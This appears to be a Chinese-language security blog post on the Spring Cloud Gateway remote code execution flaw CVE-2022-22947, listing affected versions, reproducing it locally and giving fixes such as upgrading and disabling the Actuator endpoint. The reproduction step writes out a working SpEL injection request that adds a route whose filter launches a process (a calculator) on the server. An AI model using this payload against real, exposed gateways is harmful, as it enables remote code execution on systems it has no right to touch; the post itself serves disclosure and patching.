漏洞说明

近日,VMware 官方发布安全公告,其中包含Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)。使用 Spring Cloud Gateway的应用如果对外暴露了 Gateway Actuator接口,则可能存在被CVE-2022-22947漏洞利用的风险,攻击者可通过利用此漏洞执行 SpEL 表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。

影响范围

  • Spring Cloud Gateway 3.1.x < 3.1.1
  • Spring Cloud Gateway 3.0.x < 3.0.7
  • 其他旧的、不受支持的 Spring Cloud Gateway 版本

漏洞复现

1. 搭建项目

参照本系列之前的文档搭建几个项目,并集成Actuator参考文档

 

访问Actuator 路由端点,API 参考文档

GET http://localhost:8443/actuator/gateway/routes

 

2. 注入恶意代码

执行恶意代码分为两步:

  • 添加携带恶意代码的路由
  • 刷新路由信息

首先访问actuator 端点,添加一个携带了恶意代码(执行打开计算器)的路由:

POST http://localhost:8443/actuator/gateway/routes/test

{
   
     
  "id": "test",
  "filters": [{
   
     
    "name": "AddResponseHeader",
    "args": {
   
     
      "name": "Result",
      "value": "#{new java.lang.ProcessBuilder(\"calc\").start()}"
    }
  }],
  "uri": "https://www.baidu.com"
}

 

然后访问刷新路由端点,可以看到恶意代码执行(打开了计算器)。如果通过这种方式获取系统权限、植入木马病毒,那么问题就比较严重了。

 

解决方案

更新升级 Spring Cloud Gateway 到以下安全版本:

  • Spring Cloud Gateway 3.1.1
  • Spring Cloud Gateway 3.0.7

考虑不影响业务的情况下禁用 Actuator 接口,通过配置将其禁用:

management.endpoint.gateway.enable:false

对于已中毒的服务器最好进行重装处理。